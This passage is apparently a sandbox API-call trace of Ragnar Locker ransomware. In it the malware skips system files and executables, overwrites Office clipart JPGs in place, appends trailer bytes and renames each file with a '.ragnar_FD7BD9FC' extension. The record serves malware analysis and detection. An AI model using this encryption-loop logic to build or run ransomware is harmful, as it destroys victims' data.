Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 0x20 [0083.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.282] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16738) returned 1 [0083.282] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.282] GetProcessHeap () returned 0x580000 [0083.282] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.282] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.284] VirtualAlloc (lpAddress=0x0, dwSize=0x4162, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.284] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.284] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.284] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4162, lpOverlapped=0x0) returned 1 [0083.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.285] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4162, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.285] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4162, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4162, lpOverlapped=0x0) returned 1 [0083.285] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4162, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.285] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.286] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4162, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.286] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.286] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.286] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.286] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.286] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.286] GetProcessHeap () returned 0x580000 [0083.286] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.286] CloseHandle (hObject=0xf4) returned 1 [0083.286] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" [0083.286] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.ragnar_FD7BD9FC" [0083.286] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.287] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0083.287] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.287] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099187.JPG" | out: lpString1="J0099187.JPG") returned="J0099187.JPG" [0083.287] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned=".JPG" [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="autorun.inf") returned 1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="boot.ini") returned 1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="bootfont.bin") returned 1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="bootsect.bak") returned 1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="bootmgr") returned 1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="bootmgr.efi") returned 1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="bootmgfw.efi") returned 1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="desktop.ini") returned 1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="iconcache.db") returned 1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="ntldr") returned -1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="ntuser.dat") returned -1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="ntuser.dat.log") returned -1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="ntuser.ini") returned -1 [0083.287] lstrcmpiW (lpString1="J0099187.JPG", lpString2="thumbs.db") returned -1 [0083.287] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.287] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.287] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.287] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.287] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.287] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.287] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 0x20 [0083.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.288] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24528) returned 1 [0083.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5fc7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.288] GetProcessHeap () returned 0x580000 [0083.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.288] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.289] VirtualAlloc (lpAddress=0x0, dwSize=0x5fd0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.289] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.289] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.290] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5fd0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5fd0, lpOverlapped=0x0) returned 1 [0083.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.291] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5fd0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.291] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5fd0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5fd0, lpOverlapped=0x0) returned 1 [0083.291] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5fd0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.291] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5fd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.291] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.291] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.292] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.292] GetProcessHeap () returned 0x580000 [0083.292] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.292] CloseHandle (hObject=0xf4) returned 1 [0083.292] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" [0083.292] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.ragnar_FD7BD9FC" [0083.292] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.292] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0083.292] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.292] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099188.JPG" | out: lpString1="J0099188.JPG") returned="J0099188.JPG" [0083.292] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned=".JPG" [0083.292] lstrcmpiW (lpString1="J0099188.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.292] lstrcmpiW (lpString1="J0099188.JPG", lpString2="autorun.inf") returned 1 [0083.292] lstrcmpiW (lpString1="J0099188.JPG", lpString2="boot.ini") returned 1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="bootfont.bin") returned 1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="bootsect.bak") returned 1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="bootmgr") returned 1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="bootmgr.efi") returned 1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="bootmgfw.efi") returned 1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="desktop.ini") returned 1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="iconcache.db") returned 1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="ntldr") returned -1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="ntuser.dat") returned -1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="ntuser.dat.log") returned -1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="ntuser.ini") returned -1 [0083.293] lstrcmpiW (lpString1="J0099188.JPG", lpString2="thumbs.db") returned -1 [0083.293] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.293] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.293] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.293] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.293] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.293] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.293] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 0x20 [0083.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.293] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9080) returned 1 [0083.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x236f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.294] GetProcessHeap () returned 0x580000 [0083.294] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.294] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.295] VirtualAlloc (lpAddress=0x0, dwSize=0x2378, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.295] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2378, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2378, lpOverlapped=0x0) returned 1 [0083.296] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.296] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2378, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.296] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2378, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2378, lpOverlapped=0x0) returned 1 [0083.296] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2378, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.296] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.297] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2378, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.297] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.297] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.297] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.297] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.297] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.297] GetProcessHeap () returned 0x580000 [0083.297] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.297] CloseHandle (hObject=0xf4) returned 1 [0083.297] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" [0083.297] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.ragnar_FD7BD9FC" [0083.297] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.298] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0083.298] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.298] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099189.JPG" | out: lpString1="J0099189.JPG") returned="J0099189.JPG" [0083.298] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned=".JPG" [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="autorun.inf") returned 1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="boot.ini") returned 1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="bootfont.bin") returned 1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="bootsect.bak") returned 1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="bootmgr") returned 1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="bootmgr.efi") returned 1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="bootmgfw.efi") returned 1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="desktop.ini") returned 1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="iconcache.db") returned 1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="ntldr") returned -1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="ntuser.dat") returned -1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="ntuser.dat.log") returned -1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="ntuser.ini") returned -1 [0083.298] lstrcmpiW (lpString1="J0099189.JPG", lpString2="thumbs.db") returned -1 [0083.298] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.298] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.298] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.298] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.298] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.298] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.298] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 0x20 [0083.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.300] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8076) returned 1 [0083.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.300] GetProcessHeap () returned 0x580000 [0083.300] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.300] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, 